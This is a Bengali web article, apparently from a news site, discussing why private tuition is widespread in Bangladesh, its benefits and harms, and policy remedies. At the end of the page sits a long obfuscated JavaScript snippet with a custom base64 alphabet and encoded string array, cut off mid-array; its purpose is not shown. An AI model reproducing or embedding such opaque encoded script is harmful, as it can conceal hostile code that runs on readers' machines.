০৯:১২ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

বাংলাদেশে প্রাইভেট টিউশন: প্রয়োজন, প্রভাব ও প্রতিকার

একজন ছাত্র টিউশনে পাঠ নিচ্ছে একান্ত পরিবেশে।

বাংলাদেশে শিক্ষার প্রচলিত কাঠামোর মধ্যে প্রাইভেট টিউশন একটি অঙ্গাঅঙ্গিভাবে জড়িয়ে পড়েছে। প্রাথমিক শ্রেণি থেকে শুরু করে উচ্চশিক্ষা পর্যন্ত শিক্ষার্থীরা এখন বিদ্যালয়ের আনুষ্ঠানিক শিক্ষার পাশাপাশি ব্যক্তিগতভাবে টিউশন গ্রহণ করে থাকে। এই প্রক্রিয়াটি যেন এক অলিখিত নিয়মে পরিণত হয়েছে। অভিভাবকরা মনে করেন, শুধুমাত্র বিদ্যালয়ের পড়াশোনা সন্তানের ভালো ফলাফল নিশ্চিত করতে যথেষ্ট নয়, তাই অতিরিক্ত পড়াশোনার জন্য টিউটর রাখা অত্যাবশ্যক। একইসঙ্গে শিক্ষকরা বিদ্যালয়ের বাইরে অতিরিক্ত আয়ের উৎস হিসেবেও প্রাইভেট টিউশনের ওপর নির্ভরশীল হয়ে পড়েছেন। তবে এই টিউশন ব্যবস্থা শিক্ষা খাতের গুণগত উন্নয়নের পথে সহায়ক না প্রতিবন্ধক—তা নিয়ে আজ প্রশ্ন উঠছে। শিক্ষার্থীদের স্বাধীন চিন্তা ও আত্মনির্ভরতা দিন দিন হারিয়ে যাচ্ছে, যা তাদের সামগ্রিক বিকাশে প্রতিবন্ধক হয়ে দাঁড়াচ্ছে। এই প্রেক্ষাপটে আমাদের দরকার একটি বাস্তবসম্মত বিশ্লেষণ—কেন প্রাইভেট টিউশন এতটা ব্যাপক হয়ে উঠেছে, এটি শিক্ষাব্যবস্থার ওপর কী প্রভাব ফেলছে এবং কীভাবে এই প্রবণতার ইতিবাচক বিকল্প তৈরি করা যায়। এই প্রবন্ধে সে বিষয়গুলো নিয়েই আলোচনা করা হয়েছে।

প্রাইভেট টিউশনের কারণসমূহ

১. বিদ্যালয়ে পাঠদানের ঘাটতি
অনেক বিদ্যালয়ে শ্রেণিকক্ষে পাঠদান নিয়মিতভাবে সম্পূর্ণ হয় না। শিক্ষকরা কখনো সময়মতো উপস্থিত হন না, আবার কখনো পাঠ শেষ না করেই ক্লাস শেষ করে দেন। কিছু শিক্ষাপ্রতিষ্ঠানে পর্যাপ্ত শ্রেণিকক্ষ না থাকায় একাধিক ক্লাস একত্রে পরিচালিত হয়, যা শিক্ষার মানকে নষ্ট করে। পাঠ পরিকল্পনা ও মূল্যায়নের অভাবেও শিক্ষার্থীরা কাঙ্ক্ষিত জ্ঞান অর্জনে ব্যর্থ হয়। শিক্ষকরা অনেক সময় মনোযোগ হারিয়ে ফেলেন, ফলে শিক্ষার্থীরা বঞ্চিত হয় প্রয়োজনীয় ব্যাখ্যা ও সাহায্য থেকে। এসব কারণে শিক্ষার্থীদের মনে বিদ্যালয়ের প্রতি অনাস্থা তৈরি হয়। প্রাইভেট টিচাররা সেখানে ঘরে বসে সময় নিয়ে ব্যাখ্যা দেন, যা শিক্ষার্থীর জন্য আকর্ষণীয় হয়ে ওঠে। ফলে বিদ্যালয়ের দুর্বলতাই টিউশনের চাহিদা সৃষ্টি করে।

২. শিক্ষার্থী সংখ্যার তুলনায় শিক্ষক কম
বাংলাদেশে অনেক বিদ্যালয়ে ছাত্র-শিক্ষক অনুপাত এখনও আন্তর্জাতিক মানদণ্ডের নিচে রয়েছে। একটি শ্রেণিতে ৫০-৬০ জন শিক্ষার্থী থাকলেও শিক্ষক হয়তো একজন বা দুইজন মাত্র। এতে করে প্রতিটি শিক্ষার্থীর প্রতি আলাদা মনোযোগ দেওয়া সম্ভব হয় না। শিক্ষকরা সবার প্রশ্নের উত্তর দিতে পারেন না কিংবা দুর্বল শিক্ষার্থীদের আলাদা করে বোঝানোর সুযোগ পান না। এই সীমাবদ্ধতা শিক্ষার্থীদের অসন্তুষ্ট করে তোলে। বিশেষ করে যারা একটু পিছিয়ে পড়া, তারা বুঝতে না পেরে হতাশ হয়ে পড়ে। এই অবস্থায় তারা প্রাইভেট টিউশনের মাধ্যমে বাড়তি সহযোগিতা নিতে চায়। পরিবারগুলোও সন্তানের শিখন ঘাটতি পূরণে টিউশনকে সমর্থন জানায়।

৩. অভিভাবকদের অতিরিক্ত ফলাফলমুখী মানসিকতা
বাংলাদেশের অভিভাবকদের একটি বড় অংশ শিক্ষার মূল উদ্দেশ্য নয়, বরং শুধু ভালো ফলাফল অর্জনকে গুরুত্ব দিয়ে থাকেন। তারা চান সন্তান GPA 5 পাবে, ভর্তি পরীক্ষায় সফল হবে, সরকারি চাকরি পাবে। এর ফলে তারা সবসময় চিন্তিত থাকেন, বাচ্চা যদি বিদ্যালয়ের ক্লাসে সব কিছু না বোঝে, তাহলে পরীক্ষায় পেছিয়ে পড়বে। এজন্য সন্তান বুঝুক বা না বুঝুক, টিউটরের কাছে পাঠানো হয় নিয়ম করে। অনেক সময় শিক্ষার্থী নিজের ইচ্ছায় নয়, বরং অভিভাবকের চাপে টিউশনে যেতে বাধ্য হয়। ফলাফল নির্ভর এই দৃষ্টিভঙ্গি শিক্ষার আনন্দকে হরণ করে নেয়। এতে শিখন হয় যান্ত্রিক ও চাপসৃষ্টিকারী, যা শিক্ষার্থীর মানসিক স্বাস্থ্যের উপরও প্রভাব ফেলে।

৪. প্রতিযোগিতামূলক শিক্ষা ব্যবস্থা (বিশেষ করে ভর্তি পরীক্ষায়)
বাংলাদেশে কলেজ ও বিশ্ববিদ্যালয়ে ভর্তি একটি অত্যন্ত প্রতিযোগিতামূলক প্রক্রিয়া। উচ্চমানের শিক্ষা প্রতিষ্ঠানে ভর্তি হতে হলে কঠোর প্রস্তুতির প্রয়োজন হয়। অধিকাংশ বিদ্যালয়ে ভর্তি পরীক্ষার জন্য নির্দিষ্ট প্রস্তুতি দেওয়া হয় না। ফলে শিক্ষার্থীরা কোচিং বা প্রাইভেট টিউটরের সাহায্য নিয়ে ভর্তি পরীক্ষার প্রস্তুতি নেয়। বিশেষ করে ঢাকা, রাজশাহী বা খুলনার মতো বিভাগীয় শহরগুলোতে ভর্তি কোচিং একটি শিল্পে পরিণত হয়েছে। যারা এই বাড়তি প্রস্তুতি নিতে পারে না, তারা প্রতিযোগিতায় পিছিয়ে পড়ে। তাই শিক্ষার্থীরা প্রাইভেট টিউশনকে ভবিষ্যতের সাফল্যের চাবিকাঠি হিসেবে দেখে।

৫. শিক্ষকের অতিরিক্ত আয়ের উৎস হিসেবে টিউশন
অনেক শিক্ষক বিদ্যালয়ের বেতন দিয়ে সংসার চালাতে হিমশিম খান। বিশেষ করে বেসরকারি প্রতিষ্ঠানের শিক্ষকরা কম বেতন পান। তারা বাধ্য হয়ে বিদ্যালয়ের বাইরে টিউশন বা কোচিংয়ে যুক্ত হন। কেউ কেউ একই বিদ্যালয়ের শিক্ষার্থীদেরই টিউশনে নেন, যা নৈতিকভাবে প্রশ্নবিদ্ধ। এতে বিদ্যালয়ের পাঠদানেও অনীহা দেখা দেয়, কারণ তারা মনে করেন টিউশনে বিস্তারিত পড়ানো হবে। শিক্ষার্থীরাও বুঝে যায়, শিক্ষক শ্রেণিকক্ষে যতটা না দেন, টিউশনে তার চেয়ে বেশি সময় দেন। ফলে শিক্ষা প্রতিষ্ঠান একটি আস্থাহীন জায়গায় পরিণত হয়।

প্রাইভেট টিউশনের প্রভাব

ইতিবাচক দিক:

১. দুর্বল শিক্ষার্থীদের জন্য বাড়তি সহায়তা

সব শিক্ষার্থী একই গতিতে শিখতে পারে না। অনেক সময় বিদ্যালয়ের পাঠদান বুঝতে না পেরে তারা পিছিয়ে পড়ে। প্রাইভেট টিউশন সেই শিক্ষার্থীদের জন্য একটি পরিপূরক ব্যবস্থা হয়ে ওঠে। এতে তারা তাদের ভুলগুলো বারবার অনুশীলনের মাধ্যমে শুধরে নিতে পারে। শিক্ষক এককভাবে তাদের ব্যাখ্যা দিয়ে বুঝিয়ে দেন, যা শ্রেণিকক্ষে সম্ভব হয় না। এই বিশেষ মনোযোগ শিক্ষার্থীর জ্ঞান অর্জনের গতি বাড়ায়। ধীরে ধীরে তাদের আত্মবিশ্বাস গড়ে ওঠে এবং শিক্ষায় মনোযোগ বাড়ে। এতে বিদ্যালয়ের পাঠদানও পরে সহজ লাগে।

২. বিষয়ভিত্তিক দক্ষতা বৃদ্ধি

প্রাইভেট টিউশনে সাধারণত একটি বা দুটি বিষয়ে গভীরভাবে পাঠদান করা হয়। এতে শিক্ষার্থী সেই বিষয়ের প্রতি আগ্রহী হয়ে ওঠে এবং ধারাবাহিক অনুশীলনে পারদর্শী হয়ে উঠে। গণিত, ইংরেজি বা বিজ্ঞানের মতো কঠিন বিষয়ের জটিলতা ধীরে ধীরে সহজ হয়ে যায়। পাঠ্যপুস্তকের বাইরেও অনেক সময় শিক্ষক সহায়ক উপকরণ দেন, যা তাদের জানার পরিধি বাড়ায়। দীর্ঘ মেয়াদে এই চর্চা তাদের একাডেমিক উন্নয়নে ইতিবাচক ভূমিকা রাখে।

৩. আত্মবিশ্বাস বাড়ে

যখন একজন শিক্ষার্থী নিজে না পারা জিনিসগুলো বুঝতে শিখে, তখন তার আত্মবিশ্বাস অনেকগুণ বেড়ে যায়। নিয়মিত অনুশীলন এবং পরীক্ষামুখী প্রস্তুতি তার মধ্যে ভয় দূর করে। শ্রেণিকক্ষে সে আর আগের মতো চুপ থাকে না, বরং সক্রিয়ভাবে অংশগ্রহণ করে। সে নিজের ভুল বুঝে তা শুধরানোর চেষ্টা করে, যা আত্মোন্নয়নের অন্যতম ভিত্তি। আত্মবিশ্বাসী শিক্ষার্থীরা পরবর্তীতে অন্যান্য সহপাঠীদেরও সাহায্য করতে পারে।

৪. পরীক্ষায় প্রস্তুতি উন্নত হয়

প্রাইভেট টিউশন অধিকাংশ সময় পরীক্ষাভিত্তিক প্রস্তুতির দিকে মনোযোগ দেয়। প্রশ্নপত্র বিশ্লেষণ, মডেল টেস্ট, সৃজনশীল প্রশ্নের উত্তর রচনার অনুশীলন এসবের ফলে শিক্ষার্থী পরীক্ষায় ভালো ফল করে। শিক্ষকরা সময় বণ্টন, সাজেশন এবং গুরুত্বপূর্ণ অধ্যায়ের উপর বেশি জোর দেন। ফলে শিক্ষার্থীরা কীভাবে উত্তর লিখতে হয়, কোন প্রশ্নের কীভাবে শুরু করতে হয় তা আয়ত্ত করতে পারে। এসব কৌশল বিদ্যালয়ের নিয়মিত পাঠদানে না-ও শেখানো হতে পারে।

৫. শিক্ষক-শিক্ষার্থী সম্পর্ক উন্নত হয়

ব্যক্তিগত টিউশনের পরিবেশ তুলনামূলক নিরিবিলি ও একান্ত। এতে শিক্ষক ও শিক্ষার্থীর মধ্যে ঘনিষ্ঠ একটি সম্পর্ক তৈরি হয়। অনেক সময় শিক্ষার্থীরা স্কুলে যেটা প্রকাশ করতে পারে না, সেটা টিউশনের শিক্ষককে বলতে পারে। শিক্ষকও ব্যক্তিগতভাবে শিক্ষার্থীর দুর্বলতা চিনে তাকে সেই অনুযায়ী সাহায্য করেন। এই ঘনিষ্ঠ সম্পর্ক শিক্ষার্থীর মানসিক সাপোর্ট হিসেবেও কাজ করে। কিছু ক্ষেত্রে শিক্ষক হয়ে ওঠেন পরামর্শদাতা ও অভিভাবকের মতো।

নেতিবাচক দিক:

১. বিদ্যালয়ের পাঠের উপর নির্ভরতা কমে

প্রাইভেট টিউশন গ্রহণকারী শিক্ষার্থীরা প্রায়শই বিদ্যালয়ের পাঠের গুরুত্ব কমিয়ে দেখে। তারা মনে করে বিদ্যালয়ে না বুঝলেও সমস্যা নেই, প্রাইভেট শিক্ষক পরে বুঝিয়ে দেবেন। ফলে তারা শ্রেণিকক্ষে অনমনোযোগী হয়ে পড়ে। বিদ্যালয়ের শিক্ষকদের শ্রদ্ধা বা শিক্ষার প্রতি উৎসাহ কমে যেতে পারে। এভাবে ধীরে ধীরে বিদ্যালয় থেকে শেখার আসল উদ্দেশ্য হারিয়ে যায়।

২. গরীব শিক্ষার্থীরা পিছিয়ে পড়ে

সব পরিবারের আর্থিক সক্ষমতা এক নয়। নিম্ন আয়ের পরিবারগুলো তাদের সন্তানদের প্রাইভেট টিউশনে পাঠাতে পারে না। এতে একটি বৈষম্য তৈরি হয় যেখানে ধনী ছাত্ররা অধিকতর সুযোগ পায়, গরীব ছাত্ররা একই প্রতিযোগিতায় অংশ নিয়েও পিছিয়ে পড়ে। এ বৈষম্য শিক্ষাক্ষেত্রে অন্যায়ের শামিল। আর্থিক প্রতিবন্ধকতার কারণে মেধাবী শিক্ষার্থীও প্রতিযোগিতায় হেরে যায়।

৩. শিক্ষা হয়ে ওঠে ব্যবসাভিত্তিক

প্রাইভেট টিউশনের বাজার দিন দিন বাণিজ্যিক হয়ে উঠছে। অনেক শিক্ষক শিক্ষাকে সেবামূলক কাজ না ভেবে পণ্য হিসেবেই দেখছেন। তারা যত বেশি শিক্ষার্থী পাবেন, তত বেশি আয় হবে—এই মানসিকতা নিয়ে পড়ান। এতে পাঠদান গুণগত না হয়ে হয়ে ওঠে সময় শেষ করার কাজ। শিক্ষার্থীরা শেখার বদলে শুধু পরীক্ষায় পাস করার কৌশল রপ্ত করে।

৪. শিক্ষকদের শ্রেণিকক্ষে আগ্রহ কমে যায়

কিছু শিক্ষক ইচ্ছাকৃতভাবে বিদ্যালয়ের পাঠ সেভাবে দেন না যাতে শিক্ষার্থীরা প্রাইভেট টিউশন নিতে বাধ্য হয়। এতে তাদের আয় বাড়ে ঠিকই, কিন্তু শ্রেণিকক্ষ শিক্ষার মূল উদ্দেশ্য ধ্বংস হয়। এই দৃষ্টিভঙ্গি শিক্ষাকে অবিশ্বাস্য ও দুর্বল করে তোলে। শিক্ষার্থীদের মধ্যে বিশ্বাস জন্মায় যে ভালো শেখার জন্য বিদ্যালয় নয়, টাকার দরকার।

৫. মানসিক চাপ বাড়ে ও আত্মনির্ভরতা কমে

একজন শিক্ষার্থী সকালে বিদ্যালয়, বিকেলে প্রাইভেট টিউশন, রাতে হোমওয়ার্ক—এই চক্রে আটকা পড়ে যায়। এতে তার অবসরের সময় থাকে না, খেলাধুলা বা শখের চর্চা অসম্ভব হয়ে পড়ে। শুধু পড়ালেখা নিয়ে মানসিক চাপ তৈরি হয়, যা শিশুদের জন্য ক্ষতিকর। তারা নিজের মতো চিন্তা না করে, শুধু টিউটরের দেওয়া উপায়ে নির্ভর করে। এর ফলে তাদের স্বাধীন চিন্তাভাবনা ও সমস্যা সমাধানের ক্ষমতা কমে যায়।

একজন ছাত্র টিউশনে পাঠ নিচ্ছে একান্ত পরিবেশে।
একজন ছাত্র টিউশনে পাঠ নিচ্ছে একান্ত পরিবেশে।

সমাধানের উপায়

১. বিদ্যালয়ে গুণগত পাঠদান নিশ্চিত করা

বিদ্যালয় যেন শিক্ষার প্রধান কেন্দ্র হয়, তা নিশ্চিত করা জরুরি। শ্রেণিকক্ষে পাঠদানকে আরও মানসম্মত ও আকর্ষণীয় করতে হবে। শিক্ষকের পাঠ পরিকল্পনা (lesson plan) ও শেখার ফলাফল (learning outcome) বাস্তবভিত্তিক ও শিক্ষার্থীকেন্দ্রিক হওয়া দরকার। শিক্ষক যেন শ্রেণিতে সক্রিয় অংশগ্রহণ নিশ্চিত করেন। শ্রেণিকক্ষে শিক্ষার্থীদের জিজ্ঞাসা করার সুযোগ, আলোচনা, গ্রুপ ওয়ার্কের মাধ্যমে শেখানো হলে টিউশনের প্রয়োজন কমে যাবে। সরকারি পর্যবেক্ষণ বাড়িয়ে বিদ্যালয়কে আরও জবাবদিহিতার আওতায় আনতে হবে।

২. শিক্ষক প্রশিক্ষণ ও পেশাগত উন্নয়ন

শিক্ষকদের মানোন্নয়ন না হলে শিক্ষার গুণগত মান অর্জন সম্ভব নয়। এজন্য নিয়মিত প্রশিক্ষণ, সেমিনার, কর্মশালা ও সহকর্মীদের সঙ্গে অভিজ্ঞতা বিনিময়ের সুযোগ রাখতে হবে। শুধুমাত্র B.Ed বা M.Ed ডিগ্রিই যথেষ্ট নয়—কার্যকর শেখার কৌশল, শিশুবান্ধব আচরণ ও ICT ব্যবহারে দক্ষতা অর্জনও জরুরি। প্রশিক্ষণ থেকে পাওয়া অভিজ্ঞতা ক্লাসে প্রয়োগ করতে উদ্বুদ্ধ করতে হবে। এই প্রশিক্ষণই শিক্ষকদের প্রাইভেট টিউশন নির্ভরতা কমাতে সাহায্য করবে।

৩. শিক্ষকদের পর্যাপ্ত বেতন ও প্রণোদনা

অর্থনৈতিক নিরাপত্তা না থাকলে শিক্ষক পেশাকে কেউ পেশাদারভাবে নিতে আগ্রহী হবেন না। শিক্ষক যেন প্রাইভেট টিউশন না করে শুধু বিদ্যালয়ে পূর্ণ মনোযোগ দিতে পারেন—এর জন্য প্রয়োজন যথাযথ বেতন কাঠামো। মূল বেতনের পাশাপাশি ইনক্রিমেন্ট, ইনসেনটিভ, আবাসন, চিকিৎসা, পেনশন ইত্যাদি সুবিধা নিশ্চিত করতে হবে। সুশৃঙ্খল আর্থিক নিরাপত্তা শিক্ষককে আত্মনির্ভর করে তুলবে। এতে শিক্ষকের মনোযোগ শ্রেণিকক্ষেই কেন্দ্রীভূত থাকবে।

৪. অভিভাবকদের সচেতনতা বৃদ্ধি

অভিভাবকরাও অনেক সময় তাদের সন্তানদের অকারণে অতিরিক্ত টিউশনে পাঠান। তারা মনে করেন, যত বেশি পড়ানো যাবে, তত বেশি ফল ভালো হবে। অথচ শিশুর মানসিক স্বাস্থ্য, বিশ্রাম, সামাজিক দক্ষতা সবই শেখার গুরুত্বপূর্ণ অংশ। বিদ্যালয়ে অভিভাবক সভার মাধ্যমে তাদের বোঝাতে হবে—সন্তানদের উপর পড়াশোনার চাপ না দিয়ে, বরং শেখার আনন্দ তৈরি করতে হবে। প্রয়োজন ছাড়া টিউশন করানো সন্তানের জন্য ক্ষতির কারণ হতে পারে।

৫. আইন প্রয়োগ ও নীতিমালা বাস্তবায়ন

শিক্ষা মন্ত্রণালয়ের নির্দেশ আছে যে, বিদ্যালয়ের শিক্ষক তার নিজ বিদ্যালয়ের শিক্ষার্থীকে প্রাইভেট পড়াতে পারবেন না। কিন্তু এই নিয়ম বাস্তবে মানা হয় না। এ বিষয়ে কড়া নজরদারি, জেলা শিক্ষা কর্মকর্তার পরিদর্শন ও অভিযোগ গ্রহণ পদ্ধতি নিশ্চিত করতে হবে। কেউ নিয়ম ভঙ্গ করলে তার বিরুদ্ধে শাস্তিমূলক ব্যবস্থা নিতে হবে। নীতিমালা কাগজে না থেকে বাস্তবে প্রয়োগ হলেই টিউশন নির্ভরতা কমবে।

উপসংহার

বর্তমান বাংলাদেশের শিক্ষাব্যবস্থায় প্রাইভেট টিউশন একটি স্বাভাবিক ও প্রচলিত চিত্র হয়ে দাঁড়িয়েছে। যদিও এটি কিছু শিক্ষার্থীর জন্য উপকার বয়ে আনে, তবে এটি একটি বড় অংশের জন্য হয়ে দাঁড়িয়েছে আর্থিক, মানসিক ও সামাজিক চাপের উৎস। শিক্ষাকে যদি আমরা সবার জন্য সমান সুযোগসুলভ করতে চাই, তবে প্রাইভেট টিউশনের অতিনির্ভরতা দূর করা জরুরি। এর জন্য বিদ্যালয়ের পাঠদানকে মানসম্পন্ন, শিক্ষকের পেশাদারিত্বকে জোরদার এবং অভিভাবকদের সচেতন করতেই হবে।

প্রাইভেট টিউশন কখনোই মূল শিক্ষার বিকল্প নয়—এটি কেবলমাত্র একটি পরিপূরক মাধ্যম হতে পারে। তাই আমাদের প্রয়োজন এমন একটি শিক্ষাব্যবস্থা, যেখানে বিদ্যালয়েই সব শিক্ষার্থীর শেখার চাহিদা পূরণ হয় এবং কেউ আর্থিক কারণে শিক্ষা থেকে বঞ্চিত না হয়। একমাত্র তখনই আমরা একটি ন্যায়ভিত্তিক, মানসম্পন্ন ও অন্তর্ভুক্তিমূলক শিক্ষা নিশ্চিত করতে পারবো।

বিষয়:

মন্তব্য

জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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","Ws2el7vw9g5s+nx6uOYVv2cRjB